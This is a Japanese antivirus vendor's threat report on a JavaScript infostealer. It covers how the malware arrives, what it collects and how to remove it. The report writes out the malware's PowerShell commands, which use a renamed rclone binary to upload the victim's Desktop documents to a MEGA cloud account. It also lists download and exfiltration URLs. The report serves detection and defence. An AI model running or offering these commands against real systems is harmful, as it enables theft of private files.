解析者: Mariefher Grace Villanueva   

 別名:

HEUR:Trojan.Script.Generic (KASPERSKY)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:

  • マルウェアタイプ:
    スパイウェア/情報窃取型

  • 破壊活動の有無:
    なし

  • 暗号化:
    はい

  • 感染報告の有無 :
    はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、ワーム活動の機能を備えていません。

スパイウェアは、バックドア活動の機能を備えていません。

スパイウェアは、感染コンピュータや感染ユーザから特定の情報を収集します。

  詳細

ファイルサイズ 2,427 bytes
タイプ JS
メモリ常駐 なし
発見日 2026年2月6日
ペイロード URLまたはIPアドレスに接続, ファイルのダウンロード

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

スパイウェアは、以下のプロセスを追加します。

  • powershell -enc {encrypted payload}

感染活動

スパイウェアは、ワーム活動の機能を備えていません。

バックドア活動

スパイウェアは、バックドア活動の機能を備えていません。

ルートキット機能

スパイウェアは、ルートキット機能を備えていません。

ダウンロード活動

スパイウェアは、以下のURLからファイルをダウンロードします。スパイウェアは、ファイルが感染コンピュータ内に保存されると、ファイル名を変更します。

  • %User Temp%\document.pdf
  • %User Temp%\a.zip

(註:%User Temp%フォルダは、現在ログオンしているユーザの一時フォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザー名>\Local Settings\Temp"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\AppData\Local\Temp" です。)

スパイウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

  • https://{BLOCKED}lldogs.com/uploads/HZPV78IN74/document.pdf
  • https://{BLOCKED}lldogs.com/uploads/HZPV78IN74/a.zip

情報漏えい

スパイウェアは、以下の情報を収集します。

  • Files from the %Desktop% with the following extensions/patterns:
    • *.doc
    • *.docx
    • *.pd*
    • *.txt
  • The files must be up to 2 years old

(註:%Desktop%フォルダは、現在ログオンしているユーザのデスクトップです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>\Desktop" です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>\Desktop" です。)

情報収集

スパイウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。

  • https://g.api.mega.co.nz/cs?id={sessionId}

その他

スパイウェアは、以下を実行します。

  • After downloading the zip file (%User Temp%/a.zip), it will execute the following powershell commands:
    • Expand-Archive $f -DestinationPath ./ → extracts the file inside a.zip (l.exe)
    • Copy-Item -Path .\l.exe -Destination $ENV:USERPROFILE; → the extracted file (l.exe) is copied to the %User Profile% folder
    • .\l.exe config create remote mega user {email} pass {password} →l.exe is a copy of rclone, which is a legitimate cloud sync tool but can be abused for data theft
    • .\l.exe copy --max-age 2y $ENV:USERPROFILE\Desktop\ remote:backup -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 --bwlimit 100M --include "*.doc" --include "*.docx" --include "*.pd*" --include "*.txt" -P → uploads files that match the patterns to a MEGA url

(註:%User Profile%フォルダは、現在ログオンしているユーザのプロファイルフォルダです。Windows 2000(32-bit)、XP、Server 2003(32-bit)の場合、通常 "C:\Documents and Settings\<ユーザ名>"です。また、Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit)、10(64-bit)の場合、通常 "C:\Users\<ユーザ名>" です。)

マルウェアは、脆弱性を利用した感染活動を行いません。

<補足>
インストール

スパイウェアは、以下のプロセスを追加します。

  • powershell -enc {暗号化されたペイロード}

情報漏えい

スパイウェアは、以下の情報を収集します。

  • %Desktop%内で、以下の拡張子/パターンを持つファイル
    • *.doc
    • *.docx
    • *.pd*
    • *.txt
  • 2年以内に作成されたファイルが対象となります。

情報収集

スパイウェアは、HTTPポスト を介して、収集した情報を以下のURLに送信します。

  • https://g.api.mega.co.nz/cs?id={セッションID}

その他

スパイウェアは、以下を実行します。

  • ZIPファイル(%User Temp%/a.zip)をダウンロードした後、以下のPowerShellコマンドを実行します。
    • Expand-Archive $f -DestinationPath ./ → a.zip(l.exe)内のファイルを抽出する
    • Copy-Item -Path .\l.exe -Destination $ENV:USERPROFILE; → 抽出されたファイル(l.exe)を%User Profile%フォルダにコピーする
    • .\l.exe config create remote mega user {電子メールアドレス} pass {パスワード} → l.exeは、rcloneのコピーです(rcloneは、正規のクラウド同期ツールですが、データ窃取に悪用される可能性があります。)。
    • .\l.exe copy --max-age 2y $ENV:USERPROFILE\Desktop\ remote:backup -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 --bwlimit 100M --include "*.doc" --include "*.docx" --include "*.pd*" --include "*.txt" -P → パターンに一致するファイルをMEGA URLにアップロードする

  対応方法

対応検索エンジン: 9.800
初回 VSAPI パターンバージョン 20.750.02
初回 VSAPI パターンリリース日 2026年2月6日
VSAPI OPR パターンバージョン 20.751.00
VSAPI OPR パターンリリース日 2026年2月7日

手順 1

Windows 7、Windows 8、Windows 8.1、および Windows 10 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性の場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %User Temp%\document.pdf
  • %User Temp%\a.zip
  • %User Temp%\l.exe
  • %User Profile%\l.exe

手順 4

最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TrojanSpy.JS.INFOSTEALER.B」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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